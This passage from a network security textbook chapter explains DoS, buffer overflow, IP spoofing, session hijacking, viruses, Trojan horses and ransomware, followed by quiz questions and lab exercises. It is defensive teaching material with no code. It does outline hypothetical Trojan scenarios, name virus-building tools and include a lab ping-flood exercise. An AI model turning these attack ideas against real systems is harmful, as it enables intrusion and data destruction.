to damage the company's public image. This makes the MyDoom virus a clear case of domestic cyber terrorism: One group attacks the technological assets of another based on an ideological difference. Numerous incidents of website defacement and other small-scale attacks have arisen from ideological conflicts. However, the MyDoom attack was the first to be so widespread and successful. This incident began a new trend in information warfare. As technology becomes less expensive and the tactics more readily available, there will likely be an increase in this sort of attack in the coming years.

The exact monetary damage caused by such attacks is virtually impossible to calculate. It includes the loss of service to customers, lost sales, and the impact of the negative publicity. SCO offered a \$250,000 reward to anyone providing information leading to the arrest of the individuals responsible, an indication that they felt that the impact of the attack exceeded that amount.

Of particular note is the fact that variations of the MyDoom virus continued to arise long after the original intent was fulfilled. These variations used the basic MyDoom engine and spread in similar fashion, but had differing effects. As late as February 2005, new variations of MyDoom were showing up.

FYI: Are Macs Safe?

Some users of Macintosh assume their systems are safe from viruses. However, the MacSecurity virus, along with related viruses such as MacDefender, prove this belief is unfounded. These related viruses were all fake antiviruses designed for the Macintosh operating system. They became prevalent in 2011 and 2012. Although it is certainly true that far fewer viruses are written for the Macintosh, increasingly more viruses have been written for it as Apple has gained a larger market share.

GameOver Zeus

GameOver Zeus is a virus that creates a peer-to-peer botnet. Essentially, it establishes encrypted communication between infected computers and the command and control computer, allowing the attacker to control the various infected computers. In 2014 the U.S. Department of Justice was able to temporarily shut down communication with the command and control computers; then in 2015 the FBI announced a reward of \$3 million for information leading to the capture of Evgeniy Bogachev for his alleged involvement with Gameover Zeus.

A command and control computer is the computer used

in a botnet to control the other computers. These are the central nodes from which a botnet will be managed.

CryptoLocker and CryptoWall

One of the most widely known examples of ransomware is the infamous CryptoLocker, first discovered in 2013. CryptoLocker utilized asymmetric encryption to lock the user's files. Several varieties of CryptoLocker have been detected.

CryptoWall is a variant of CryptoLocker first found in August 2014. It looked and behaved much like CryptoLocker. In addition to encrypting sensitive files, it would communicate with a command and control server and even take a screenshot of the infected machine. By March 2015 a variation of CryptoWall had been discovered that is bundled with the spyware TSPY_FAREIT.YOI and actually steals credentials from the infected system, in addition to holding files for ransom.

Defending Against DoS Attacks

No guaranteed way exists to prevent all DoS attacks, just as no guaranteed way exists to prevent any hacking attempt or a cyber attack. However, you can take steps to minimize the danger. This section examines some steps administrators can take to make their systems less susceptible to a DoS attack in addition to the use of SYN and RST cookies discussed previously.

One of the first things to consider is how these attacks are perpetrated. They might be executed via ICMP packets that are used to send error messages on the Internet or are sent by the ping and traceroute utilities. Simply configuring your firewall to refuse ICMP packets from outside your network will be a major step in protecting your network from DoS attacks. Because DoS/DDoS attacks can be executed via a wide variety of protocols, you can also configure your firewall to disallow any incoming traffic at all, regardless of what protocol or port it occurs on. This might seem like a radical step, but it is certainly a secure one.

FYI: Blocking All Traffic

Most networks must allow some incoming traffic. This traffic might be to the network's web server or to an e-mail server. For this reason you will not often

see a firewall that blocks all incoming traffic. If you can't block all incoming traffic, be as selective as possible and only allow in the traffic that is absolutely necessary.

If your network is large enough to have internal routers, then you can configure those routers to disallow any traffic that does not originate with your network. In that way, if packets make it past your firewall, they will not be propagated throughout the network. Because all TCP packets have a source IP address, determining whether a packet originated within the network or from outside the network is not difficult. Another possibility is disabling directed IP broadcasts on all routers. This prevents the router from sending broadcast packets to all machines on the network, thus stopping many DoS attacks.

Because many distributed DoS attacks depend on “unwitting” computers being used as launch points, one way to reduce such attacks is to protect your computer against virus/worm attacks and Trojan horses. Protecting against these attacks is discussed later in this chapter, but for now three important points to remember are

- Always use virus-scanning software and keep it updated.

- Always keep operating system and software patches updated.
- Have an organizational policy stating that employees cannot download anything onto their machines unless the download has been cleared by the IT staff.

None of these steps will make your network totally secure from being the victim of a DoS attack or being the launch point for one, but they will help reduce the chances of either occurring. A good resource for this topic is the SANS Institute website at www.sans.org/dosstep/. This site has many good tips on preventing DoS attacks.

DEFENDING AGAINST BUFFER OVERFLOW ATTACKS

Virus, DoS, and Trojan horse attacks are probably the most common ways to attack a system, but they are not the only methods of attack available. Another way of attacking a system is called a buffer overflow (or buffer overrun) attack. Some experts would argue that the buffer overflow occurs as often, if not more often, than the DoS attack, but this is less true now than it was a few years ago. A buffer overflow attack is designed to put more data in a buffer than the buffer was designed to hold. However, recall that at least one worm used a buffer overflow to infect targeted machines. This means that although this threat might be less than it once was, it is still a very real threat.

Any program that communicates with the Internet or a private network must receive some data. This data is stored, at least temporarily, in a space in memory called a buffer. If the programmer who wrote the application was careful, the buffer will truncate or reject any information that exceeds the buffer limit. Given the number of applications that might be running on a target system and the number of buffers in each application, the chance of having at least one buffer that was not written properly is significant enough to cause any prudent system administrator some concern. A

person moderately skilled in programming can write a program that purposefully writes more data into the buffer than it can hold. For example, if the buffer can hold 1024 bytes of data and you try to fill it with 2048 bytes, the extra 1024 bytes is then simply loaded into memory. Figure 2-7 illustrates this concept.




FIGURE 2-7 Buffer overflow attack

If the extra data is actually a malicious program, then it has just been loaded into memory and is running on the target system. Or perhaps the perpetrator simply wants to flood the target machine's memory, thus overwriting other items that are currently in memory and causing them to crash. Either way, the buffer overflow is a very serious attack.

Fortunately, buffer overflow attacks are a bit harder to execute than the DoS or a simple MS Outlook script virus. To create a buffer overflow attack, a hacker must have a good working knowledge of some programming language (C or C++ is often chosen) and understand the target operating system/application well enough to know whether it has a buffer overflow weakness and how he might exploit the weakness.

FYI: What Is an Outlook Script Virus?

Microsoft Outlook is designed so that a programmer can write scripts using a subset of the Visual Basic programming language, called Visual Basic for Applications, or simply VBA. This scripting language is, in fact, built into all Microsoft Office products. Programmers can also use the closely related VBScript language. Both languages are quite easy to learn. If such a script is attached to an e-mail and if the recipient is using Outlook, then the script can execute. That execution can do any number of things, including scanning the address book, looking for addresses, sending out e-mail, deleting e-mail, and more.

Susceptibility to a buffer overflow attack is entirely contingent on software flaws. A perfectly written

program would not allow buffer overflows. Because perfection is unlikely, the best defense against buffer overflow attacks is to routinely patch software so that flaws are corrected when the vendor discovers a vulnerability.

FYI: How Do Buffer Overflows Occur?

A buffer overflow attack can only occur if some flaw exists in the software, usually the operating system or web server. This means that the only way to prevent this type of attack is to improve the quality of software. Unfortunately, many software vendors seem to place more emphasis on being quick to market than on extensive testing and review of their software. Security-savvy administrators will pay attention to the testing methods used by their software vendors.

DEFENDING AGAINST IP SPOOFING

IP spoofing is essentially a technique used by hackers to gain unauthorized access to computers. Although this is the most common reason for IP spoofing, it is occasionally done simply to mask the origins of a DoS attack. In fact DoS and DDoS attacks often mask the actual IP address from which the attack is originating.

With IP spoofing, the intruder sends messages to a computer system with an IP address indicating that the message is coming from a different IP address than it is actually coming from. If the intent is to gain unauthorized access, then the spoofed IP address will be that of a system the target considers to be a trusted host. To successfully perpetrate an IP spoofing attack, the hacker must first find the IP address of a machine that the target system considers a trusted source. Hackers might employ a variety of techniques to find an IP address of a trusted host. After they have that trusted IP address, they can then modify the packet headers of their transmissions so it appears that the packets are coming from that host.

IP spoofing, unlike many other types of attacks, was actually known to security experts on a theoretical level before it was ever used in a real attack. The concept of IP spoofing was initially discussed in academic circles as early as the 1980s. Although the concept behind this technique was known for some time, it was primarily theoretical until Robert Morris discovered a security weakness in the TCP protocol known as sequence prediction. Stephen Bellovin discussed the problem in-depth in his famous paper, "Security Problems in the TCP/IP Protocol Suite."

IP spoofing attacks are becoming less frequent,

primarily because the venues they use are becoming more secure and in some cases are simply no longer used. However, spoofing can still be used, and all security administrators should address it. A couple different ways to address IP spoofing include:

- To not to reveal any information regarding your internal IP addresses. This helps prevent those addresses from being “spoofed.”
- To monitor incoming IP packets for signs of IP spoofing using network monitoring software. One popular product is Netlog. This and similar products seek incoming packets to the external interface that have both the source and destination IP addresses in your local domain, which essentially means an incoming packet that claims to be from inside the network, when it is clearly coming from outside your network. Finding one means an attack is underway.

The danger from IP spoofing is that some firewalls do not examine packets that appear to come from an internal IP address. Routing packets through filtering routers is possible if they are not configured to filter incoming packets whose source address is in the local domain.

Examples of router configurations that are potentially

vulnerable include

- Routers to external networks that support multiple internal interfaces
- Proxy firewalls where the proxy applications use the source IP address for authentication
- Routers with two interfaces that support subnetting on the internal network
- Routers that do not filter packets whose source address is in the local domain

The best method of preventing IP spoofing is to install a filtering router. Filtering routers filter incoming packets by not allowing a packet through if it has a source address from your internal network. In addition, you should filter outgoing packets that have a source address different from your internal network to prevent a source IP spoofing attack from originating at your site. Many commercial firewall vendors, such as Cisco, FortiGate, D-Link, and Juniper, offer this option.

If your vendor's router does not support filtering on the inbound side of the interface and you feel the need to immediately filter such packets, you can filter the spoofed IP packets by using a second router between your external interface and your outside connection. Configure this router to block, on the outgoing interface

connected to your original router, all packets that have a source address in your internal network. For this purpose, you can use a filtering router or a Unix system with two interfaces that supports packet filtering.

DEFENDING AGAINST SESSION HIJACKING

Another form of attack is session hacking or hijacking. TCP session hijacking is a process whereby a hacker takes over a TCP session between two machines. Because authentication frequently is done only at the start of a TCP session, this allows the hacker to break into the communication stream and take control of the session. For example, a person might log on to a machine remotely. After she has established a connection with the host, the hacker might use session hacking to take over that session and thereby gain access to the target machine.

One popular method for session hacking is using source-routed IP packets. This allows a hacker at point A on the network to participate in a conversation between B and C by encouraging the IP packets to pass through the hacker's machine.

The most common sort of session hacking is the “man-in-the-middle attack.” In this scenario a hacker uses

some sort of packet-sniffing program to simply listen in on the transmissions between two computers, taking whatever information he or she wants but not actually disrupting the conversation. A common component of such an attack is to execute a DoS attack against one end point to stop it from responding. Because that end point is no longer responding, the hacker can now interject his own machine to stand in for that end point.

The point of hijacking a connection is to exploit trust and to gain access to a system to which one would not otherwise have access.

The only way to truly defend against session hacking is to use encrypted transmissions. Chapter 6, “Encryption Fundamentals,” discusses various encryption methods. If the packets are not encrypted, then the communication is vulnerable to session hacking. Many network administrators do use encrypted transmissions when communicating outside their network, but fewer encrypt internal communications. For a truly high level of security, consider encrypting all transmissions.

Packet sniffers are discussed in more detail in Chapter 15, “Techniques Used by Attackers.” Right now what you need to be aware of is that a packet sniffer is software that intercepts packets going across a network or the Internet and copies them. This gives the attacker a copy of every packet you send. These tools have legitimate

uses in network traffic monitoring, but are also used by hackers to intercept communications and, in some cases, for session hacking.

BLOCKING VIRUS AND TROJAN HORSE ATTACKS

The preceding sections of this chapter examined the denial of service attack, buffer overflow attack, and session hacking. However, virus attacks are the most prevalent threats to any network. Therefore, protecting against virus attacks is essential for any security-conscious network administrator.

Viruses

By definition, a computer virus is a program that self-replicates. Generally, a virus also has some other unpleasant function, but the self-replication and rapid spread are its hallmarks. This growth, in and of itself, can be a problem for an infected network. Worms are viruses that can replicate without human interaction.

Consider the infamous Slammer virus and the effects of its rapid, high-volume scanning. Any rapidly spreading virus can reduce the functionality and responsiveness of a network. It can lead to too much network traffic and prevent the network from functioning properly. Simply

by exceeding the traffic load a network was designed to carry, the network can be rendered temporarily nonfunctional.

How Does a Virus Spread?

You have seen how viruses can impact infected systems and have looked at a few actual cases. Clearly the key to stopping a computer virus is to prevent it from spreading to other computers. To do this you must have a good understanding of how viruses typically spread. A virus usually spreads in one of two ways. The first is by scanning a computer for connections to a network and then copying itself to other machines on the network to which that machine has access. This is the most efficient way for a virus to spread and is a typical spread method of worms. However, this method requires more programming skill than other methods. The second and more popular method is reading the e-mail address book and sending itself to everyone in it. Programming this type of virus is a trivial task, which explains why its use is so prevalent.

The latter method is, by far, the most usual method for virus propagation, and Microsoft Outlook might be the one e-mail program most often hit with such virus attacks. The reason is not so much a security flaw in

Outlook as it is the ease of working with Outlook. All Microsoft Office products are made so that a legitimate programmer can access many of that application's internal objects and thereby easily create applications that integrate the applications within the Microsoft Office suite. For example, a programmer could write an application that would access a Word document, import an Excel spreadsheet, and then use Outlook to automatically e-mail the resulting document to interested parties. Microsoft has done a good job of making this process very easy. Accomplishing these tasks usually takes a minimal amount of programming. In the case of Outlook, referencing Outlook and sending out an e-mail takes less than five lines of code to do. This means a program can literally cause Outlook itself to send e-mails, unbeknownst to the user. Numerous code examples on the Internet show exactly how to do this, free for the taking.

However a virus arrives, after it is on a system it attempts to spread. In many cases the virus also attempts to cause some harm to the system. After a virus is on a system it can do anything a legitimate program can do. That means it could potentially delete files, change system settings, or cause other harm. The threat from virus attacks cannot be overstated. Let's take a moment to look at a few virus outbreaks, see how they operated, and describe the damage they caused.

Some of these are older, some recent.

The Sobig Virus

The Sobig virus is an older virus but it is a good example of how viruses spread. One interesting thing about this virus was the multi-modal approach by which it spread. In other words, it used more than one mechanism to spread and infect new machines. Sobig copied itself to any shared drives on the network and it e-mailed itself out to everyone in the address book. Because of this approach, Sobig can be classified as a worm rather than simply a virus. This multi-modal ability to spread meant that Sobig was particularly *virulent*—a term signifying that the virus spread rapidly and easily infected new targets.

This multi-modal spread ability is why ensuring that each and every person in your organization is cautioned about proper security policies and procedures is so critical. If just one person on a network was unfortunate enough to open an e-mail containing the Sobig virus, it infected not only that machine but also every shared drive on the network that this person could access.

Like most e-mail distributed virus attacks, this one had telltale signs in the e-mail subject or title that could be used to identify the e-mail as one infected by a virus. The e-mail would have a title such as “here is the

sample” or “the document” and encourage you to open the attached file. The virus then copied itself into the Windows system directory. Some variants of Sobig caused computers to download a file from the Internet that would then cause printing problems. Some network printers would just start printing junk. The Sobig.E variant even wrote to the Windows registry, causing the virus to be included in the computer startup. These complex characteristics indicate that the creator of Sobig knew how to access the Windows registry, access shared drives, alter the Windows startup, and access Outlook.

A method I personally use and recommend to all security administrators is to routinely send out an e-mail to everyone in your organization telling them the telltale signs to be wary of in e-mails. Websites such as www.f-secure.com list current viruses and what to look for in an e-mail. I summarize this list and send it out once or twice a month to everyone in my organization. That way all members of the organization are aware of e-mails that they should definitely not open. If you couple this with instilling a healthy caution toward unexpected e-mails, you can drastically reduce the chance of becoming infected with a virus.

This particular virus spread so far and infected so many networks that the multiple copying of the virus alone was enough to bring some networks to a standstill. This

virus did not destroy files or damage the system, but it generated enough traffic to bog down the networks infected by it. The virus itself was of moderate sophistication. After it was out, many variants began to spring up, further complicating the situation.

Virus Variations

Sometimes, some intrepid programmer with malicious intent receives a copy of a virus (perhaps his or her own machine becomes infected) and decides to reverse-engineer it. Many virus attacks are in the form of a script attached to an e-mail. This means that unlike traditional compiled programs, their source code is readily readable and alterable. The programmer in question then simply takes the original virus code, introduces some change, and then re-releases the variant. The people who are most frequently caught for creating viruses are the developers of variants who simply lack the skill of the original virus writer and are therefore easily caught.

FYI: The Economic Impact of Viruses

Getting an exact accounting of the damage caused by Flame, FakeAV, MacDefender, or any other virus is impossible. However, if one considers the number of

hours IT professionals spend working on cleaning up a given virus, the worldwide cost of any virus is in the millions of dollars. If the amount of money spent trying to defend against such viruses through antivirus software, hiring consultants, and purchasing books like this one is included, the annual impact of all viruses can easily reach billions of dollars. In fact, one study showed that in 2007 the economic damages from viruses exceeded \$14 billion.

For this reason many security experts recommend that governments begin enacting stronger penalties for virus creators. Federal law enforcement agencies taking a more active role in investigating these crimes would also be helpful. For example, some, private companies such as Microsoft have begun offering substantial bounties for information leading to the arrest of virus creators, a very positive step.

You can read more about any virus, past or current, at the following websites:

- www.f-secure.com/en/web/labs_global/from-the-labs
- www.cert.org/news/
- www.symantec.com/security-center

FYI: Why Write a Virus?

In the case of Flame or Stuxnet, ascertaining the virus writer's motivations was not hard. These viruses were designed to spy on or disrupt specific government activities of specific countries. In other cases, the virus (particularly with ransomware) is part of a scheme to extract money from the victim. And again, the motives are not hard to discern. However, with other viruses such as Bagle and Mimail, understanding why the virus was created in the first place is difficult. To the best of my knowledge, no formal psychological studies exist regarding the mentality of virus writers. However, having interacted with alleged virus writers in various forums, and having read interviews with convicted virus writers, I can provide you with some insight into their mentality.

In some cases the virus writer simply wanted to prove that he could do it. For some people, simply knowing that they "outwitted" numerous security professionals gives them a feeling of satisfaction. For others, the ability to cause damage on a wide scale imbues them with a sense of power they probably do not otherwise feel. When virus writers are caught they usually turn out to be young, intelligent, and technically skilled; have strong antisocial leanings; and generally don't fit into any peer group. The writing of a virus gives them the same cathartic

feeling that other people get from vandalism and graffiti.

The Virus Hoax

Another type of virus has been somewhat popular: the “non-virus virus,” or virus hoax. Rather than actually writing a virus, a hacker simply sends an e-mail to every address he has. The e-mail claims to be from some well-known antivirus center and warns of a new virus that is circulating. The e-mail then instructs the user to delete a file from the computer to get rid of the virus. The file, however, is not really a virus but part of the computer’s system. One of the earliest examples, the jdbgmgr.exe virus hoax, used this scheme. It encouraged the reader to delete a file that was actually needed by the system. Surprisingly, a large number of people followed this advice and not only deleted the file but promptly e-mailed their friends and colleagues to warn them to delete the file from their machines.

A common theme with all virus attacks (except the hoax) is that they instruct the recipient to open some type of attachment. The predominant way for a virus to spread is as an e-mail attachment. This realization leads to some simple rules that can drastically reduce the odds of a machine becoming infected with a virus:

- Always use a virus scanner. McAfee and Norton are the two most widely accepted and used virus scanners. Malware Bytes, AVG, and others are also effective. Each costs about \$30 a year to keep updated. Do it. Chapter 9, “Defending Against Virus Attacks,” discusses virus attacks and virus scanners in more detail.
- If you are unsure about an attachment, do not open it.
- You might even exchange a code word with friends and colleagues. Tell them that if they want to send you an attachment, they should put the code word in the title of the message. Without seeing the code word, you will not open any attachment.
- Don’t believe “security alerts” that are sent to you. Microsoft does not send out alerts in this manner. Check the Microsoft website regularly, as well as one of the antivirus websites previously mentioned. Microsoft’s security website (www.microsoft.com/security/) is the only reliable place to get Microsoft security updates. Other security sites might have accurate information (such as www.sans.org) but if you are using a particular vendor’s software (such as Microsoft) then going to its site to find alerts and to get patches is always best.

These rules will not make systems 100% virus proof, but they will go a long way toward protecting them.

FYI: It's Not Hard

One would think that writing a virus would require extensive computer programming skills. Although it is true that writing a sophisticated virus does indeed require a high level of skill, utilities are actually available on the web (such as JPS virus maker) to help you create a virus as well as tools (such as EliteWrap) that can help you create a Trojan horse.

Types of Viruses

There are many different types of viruses. In this section we will briefly look at some of the major virus types. Viruses can be classified by either their method of propagation or their activities on the target computers. It must also be noted that various experts differ slightly on how they group viruses. The taxonomy presented in this section is rather common, and I find it to be quite useful. It is one I have developed over the years.

Macro Viruses

Macro viruses infect the macros in office documents. Many office products, including Microsoft Office, allow users to write mini-programs called macros. These macros can also be written as a virus. A macro virus is written into a macro in some business application. For example, Microsoft Office allows users to write macros to automate some tasks. Microsoft Outlook is designed so that a programmer can write scripts using a subset of the Visual Basic programming language, called Visual Basic for Applications (VBA). This scripting language is, in fact, built into all Microsoft Office products. Programmers can also use the closely related VBScript language. Both languages are quite easy to learn. If such a script is attached to an e-mail and the recipient is using Outlook, then the script can execute. That execution can do any number of things, including scanning the address book, looking for addresses, sending out e-mail, deleting e-mail, and more.

Boot Sector

Boot sector viruses don't infect the operating system of the target computer, but instead attack the boot sector of the drive. This makes them harder to detect and remove with traditional antivirus software. Such software is installed in the operating system, and to some extent only operates within the context of the operating system. By operating outside the operating system, a boot sector virus is harder to detect and remove. Multipartite viruses attack the computer in multiple ways—for example, infecting the boot sector of the hard disk and one or more files within the operating system.

Stealth

Stealth viruses are one of the largest groups of viruses. This category includes any virus that uses one or more techniques to hide itself. In other words, these are viruses that are trying to avoid your antivirus software.

The Trojan horse is an excellent way to hide a virus. By tying it to a legitimate program, it not only will trick the user into installing it, but it may also evade antivirus software.

A polymorphic virus literally changes its form from time

to time to avoid detection by antivirus software. A more advanced form of this is called the metamorphic virus, which can completely change itself. This also requires a secondary module to perform the rewriting.

A sparse infector virus attempts to elude detection by performing its malicious activities only sporadically. With a sparse infector virus, the user will see symptoms for a short period, then no symptoms for a time. In some cases the sparse infector targets a specific program but the virus only executes every 10th time or 20th time that target program executes. Or a sparse infector may have a burst of activity and then lie dormant for a period of time. There are a number of variations on the theme, but the basic principle is the same: to reduce the frequency of attack and thus reduce the chances for detection.

Fragmented payload is a rather sophisticated method of hiding a virus. The virus is split into modules. The loader module is rather innocuous and unlikely to trigger any antivirus software. It will then download, separately, the other fragments. When all fragments are present, the loader will assemble them and unleash the virus.

Ransomware

It is impossible in modern times to discuss malware and not discuss ransomware. In fact, as I am writing this, in the past 48 hours the world has been hit with a massive ransomware attack. It began by attacking health care systems in England and Scotland, and spread far beyond those. That virus is the infamous WannaCry virus. While many people first began discussing ransomware with the advent of CryptoLocker in 2013, ransomware has been around a lot longer than that. The first known ransomware was the 1989 PC Cyborg Trojan, which only encrypted filenames with a weak symmetric cipher.

In general, ransomware works as a worm, then either disables system services or encrypts user files. It then demands a ransom to release those files/service.

Trojan Horses

You have seen the term *Trojan horse* used in this chapter, and you probably already have some idea of what it is. A Trojan horse is a program that looks benign but actually has a malicious purpose. You might receive or download a program that appears to be a harmless business utility or game. More likely, the Trojan horse is just a script attached to a benign-looking e-mail. When you run the program or open the attachment, it does something else other than or in addition to what you thought it would. It might

- Download harmful software from a website.
- Install a key logger or other spyware on your machine.
- Delete files.
- Open a backdoor for a hacker to use.

Finding virus and Trojan horse attack combinations is commonplace. In these instances, the Trojan horse spreads like a virus. The MyDoom virus opened a port on machines that a later virus, Doomjuice, would exploit, thus making MyDoom a combination virus and Trojan horse.

FYI: Was MyDoom a Trojan Horse?

Some experts say that MyDoom was not actually a Trojan horse because it did not pretend to be benign software. However, one could argue that the e-mail attachment that delivered MyDoom did indeed claim to be a legitimate attachment and, thus, could be classified as a Trojan horse. Whether or not you agree that MyDoom is a Trojan horse, it is certainly a good illustration of how malicious software can take multiple avenues to cause harm.

A Trojan horse also could be crafted especially for an individual. If a hacker wanted to spy on a certain individual, such as the company accountant, she could design a program specifically to attract that person's attention. For example, if she knew the accountant was an avid golfer, she could write a program that computed handicap and listed best golf courses. She would post that program on a free web server. She would then e-mail a number of people, including the accountant, telling them about the free software. The software, once installed, could check the name of the currently logged-on person. If the logon name matched the accountant's name, the software could then go out, unknown to the user, and download a key logger or other monitoring application. If the software did not damage files or replicate itself, then it would probably go undetected for quite a long time.

Writing such a program could be within the skillset of virtually any moderately competent programmer. This is one reason many organizations have rules against downloading any software onto company machines. I am unaware of any actual incident of a Trojan horse being custom tailored in this fashion. However, remember that those who create virus attacks tend to be innovative people.

Another scenario to consider is one that would be quite devastating. Without divulging programming details, the basic premise is outlined here to illustrate the grave dangers of Trojan horses. Imagine a small application that displays a series of unflattering pictures of Osama Bin Laden. This would probably be popular with many people in the United States, particularly people in the military, the intelligence community, or defense-related industries. Now assume that the application simply sits dormant on the machine for a period of time. It need not replicate like a virus because the computer user will probably send it to many of his or her associates. On a certain date and time, the software connects to any drive it can, including network drives, and begins deleting all files.

If such a Trojan horse were released “in the wild,” within 30 days it would probably be shipped to thousands, perhaps millions, of people. Imagine the

devastation when thousands of computers begin deleting files and folders.

This scenario is mentioned precisely to frighten you a little. Computer users, including professionals who should know better, routinely download all sorts of files from the Internet, including amusing Flash animations and cute games. Every time an employee downloads something of this nature, the chance of downloading a Trojan horse exists. One need not be a statistician to realize that if employees continue that practice long enough they will eventually download a Trojan horse on to a company machine. A user can only hope it is not one as vicious as the theoretical one just outlined here.

FYI: Using Trojan Horse Examples

Readers are strongly cautioned against attempting to actually create any of these Trojan horse scenarios. Releasing such an application is a crime that will probably result in a lengthy prison sentence and serious civil penalties. These examples are provided simply to show you just how devastating a Trojan horse can be.

The people who create Trojan horses and viruses are quite creative. New variations pop up frequently. It is highly likely that someone else has already thought

of something similar to the scenarios I present. The point of presenting these scenarios is to make sure that network administrators exercise the appropriate level of caution. To be totally frank, it is my wish that every network administrator have a certain level of paranoia regarding viruses and Trojan horses.

SUMMARY

This chapter examined the most common threats to your systems: virus attacks, denial of service attacks, Trojan horses, session hijacking, and buffer overflow attacks. Other dangers such as identity theft and phishing (using fake e-mail and websites to solicit end-user information that can be used in identity theft and fraud) are occurring more frequently, but don't pose as great a direct threat to an organizational network as they do to individuals. That is why this chapter focused on the attacks it did—they are of the most concern to network security.

In each case the various defense mechanisms fell into one of two categories: technical or procedural. Technical defenses are those items you can install or configure to make your system safer. This includes things like micro blocks, RST cookies, stack tweaking, and antivirus software. Procedural defenses involve modifying the

behavior of end users in order to increase security. Such measures include not downloading suspicious files and not opening unverified attachments. As you read through this book you will discover that network defense must be approached from both angles. Later chapters provide detailed discussion of technical defenses (firewalls, virus scanners, and more) and entire chapters are devoted to procedural defenses (policies and procedures). Understanding that using both approaches is necessary to secure your network is vital.

It should be obvious by this point that securing your system is absolutely critical. In the upcoming exercises, you will try out the antivirus programs by Norton and McAfee. There are so many ways for a hacker to attack a system that securing your system can be a rather complex task. Chapter 6 deals with more specific methods whereby you can secure your system.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. From the attacker's point of view, what is the primary weakness in a DoS attack?

- A.** The attack must be sustained.
 - B.** The attack does not cause actual damage.
 - C.** The attack is easily thwarted.
 - D.** The attack is difficult to execute.
- 2.** What DoS attack is based on leaving connections half open?
 - A.** Ping of Death
 - B.** Smurf attack
 - C.** Distributed denial of service
 - D.** SYN flood
- 3.** What is the name for a DoS defense that is dependent on sending back a hash code to the client?
 - A.** Stack tweaking
 - B.** RST cookie
 - C.** SYN cookie
 - D.** Server reflection
- 4.** Which of the following would be the best defense if your web server had limited resources but you needed a strong defense against DoS?
 - A.** A firewall
 - B.** RST cookies

- C. SYN cookies**
- D. Stack tweaking**

5. What is a technical weakness of the stack tweaking defense?

- A.** It is complicated and requires very skilled technicians to implement.
- B.** It only decreases time out but does not actually stop DoS attacks.
- C.** It is resource intensive and can degrade server performance.
- D.** It is ineffective against DoS attacks.

6. What is the name for a DoS attack that causes machines on a network to initiate a DoS against one of that network's servers?

- A.** Smurf attack
- B.** SYN flood
- C.** Ping of Death
- D.** Distributed denial of service

7. Which of the following virus attacks initiated a DoS attack?

- A.** Faux
- B.** Walachi

C. Bagle

D. MyDoom

8. Which of the following is a recommended configuration of a firewall to defend against DoS attacks?

A. Block ICMP packets that originate outside the network

B. Block all incoming packets

C. Block all ICMP packets

D. Block TCP packets that originate outside the network

9. Which of the following best describes a buffer overflow attack?

A. An attack that overflows the target with too many TCP packets

B. An attack that attempts to put too much data in a memory buffer

C. An attack that attempts to send oversized TCP packets

D. An attack that attempts to put misconfigured data into a memory buffer

10. What is the best way to defend against a buffer overflow?

- A.** Use a robust firewall
 - B.** Block TCP packets at the router
 - C.** Keep all software patched and updated
 - D.** Stop all ICMP traffic
- 11.** Which of the following is the best definition for IP spoofing?
- A.** Sending a packet that appears to come from a trusted IP address
 - B.** Rerouting packets to a different IP address
 - C.** Setting up a fake website that appears to be a different site
 - D.** Sending packets that are misconfigured
- 12.** What is the danger inherent in IP spoofing attacks?
- A.** They are very damaging to target systems.
 - B.** Many of these attacks open the door for other attacks.
 - C.** They can be difficult to stop.
 - D.** Many firewalls don't examine packets that seem to come from within the network.
- 13.** What is the best method of defending against IP spoofing?

- A.** Installing a router/firewall that blocks packets that appear to be originating within the network
 - B.** Installing a router/firewall that blocks packets that appear to be originating from outside the network
 - C.** Blocking all incoming TCP traffic
 - D.** Blocking all incoming ICMP traffic
- 14.** Which of the following best describes session hacking?
- A.** Taking over a target machine via a Trojan horse
 - B.** Taking control of a target machine remotely
 - C.** Taking control of the communication link between two machines
 - D.** Taking control of the login session
- 15.** Which of the following is the best definition of a virus?
- A.** Software that causes damage to system files
 - B.** Software that self-replicates
 - C.** Software that causes damage to any files
 - D.** Software that attaches to e-mail
- 16.** What is a Trojan horse?

- A.** Software that self-replicates
- B.** Software that appears to be benign but really has some malicious purpose
- C.** Software that deletes system files then infects other machines
- D.** Software that causes harm to your system

EXERCISES

EXERCISE 2.1: A Basic DoS Attack

- 1.** Set up a machine with a web server.
- 2.** Use other machines in the lab to begin ping the target machine.
- 3.** Continue this until the target is no longer able to respond to legitimate requests.
- 4.** Note the number of total packets per second required to successfully execute a DoS attack.

EXERCISE 2.2: Configuring a Firewall to Block DoS Attacks

(Note: This exercise is only for classes with access to a lab firewall.)

- 1.** Using your firewall's documentation, find out how

to block incoming ICMP packets.

2. Configure your firewall to block those packets.
3. Now try Exercise 2.1 through the firewall and see whether it is successful.

EXERCISE 2.3: Installing Norton AntiVirus

1. Go to Norton's website and download the trial version of its antivirus program.
2. Configure it and scan your machine.
3. Go to McAfee's website and download the trial version of its antivirus program.
4. Configure it and scan your machine.
5. Note differences in usability, feel, and general performance between the two virus scanners. Which would you recommend and why?

EXERCISE 2.4: Configuring a Router

(Note: This exercise is only for classes with access to a lab router.)

1. Consult your router documentation to find out how to disallow traffic originating outside the

network.

2. Configure your router to block traffic originating outside the network.
3. Ping the network's server to test whether the configuration you set has blocked outside traffic.

EXERCISE 2.5: Learning about Blaster

1. Use the web or other resources to look up information about the Blaster virus.
2. Describe how that virus worked and how it spread.
3. Research and describe the type and amount of damage the virus caused.
4. Have the perpetrators of the attack been caught and/or prosecuted?
5. Make recommendations for defending against this specific virus.

EXERCISE 2.6: Learning about MyDoom

1. Use the web or other resources to look up information about the MyDoom virus.
2. Describe how that virus worked and how it

spread.

3. Research and describe the type and amount of damage the virus caused.
4. Have the perpetrators of the attack been caught and/or prosecuted?
5. Make recommendations for defending against this specific virus.

PROJECTS

PROJECT 2.1: The Most Recent Virus Attacks

1. Use the web or other resources to pick a new virus attack that has spread during the last 90 days.
2. Note how that virus is spreading, the damage it causes, and the recommended steps for guarding against it.
3. How does this virus compare to the Sasser virus and the MyDoom virus?

PROJECT 2.2: Setting Up Antivirus Policy

1. Use the web to find an organization's antivirus policies. The preferred resources listed in Chapter 1

are good places to begin this search. Or, you can seek out the policies of some organization you have contact with, such as your school or your employer.

2. What changes would you recommend to that particular organization's antivirus policy?
3. Your recommendations should be specific and include detailed reasons that support them.

PROJECT 2.3: Why Do Buffer Overflow Vulnerabilities Exist?

Considering how buffer overflow vulnerabilities arise, explain why you think they are present and provide recommendations to prevent or reduce the number of such flaws.

Chapter 3

Fundamentals of Firewalls

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Explain how firewalls work.
- Evaluate firewall solutions.
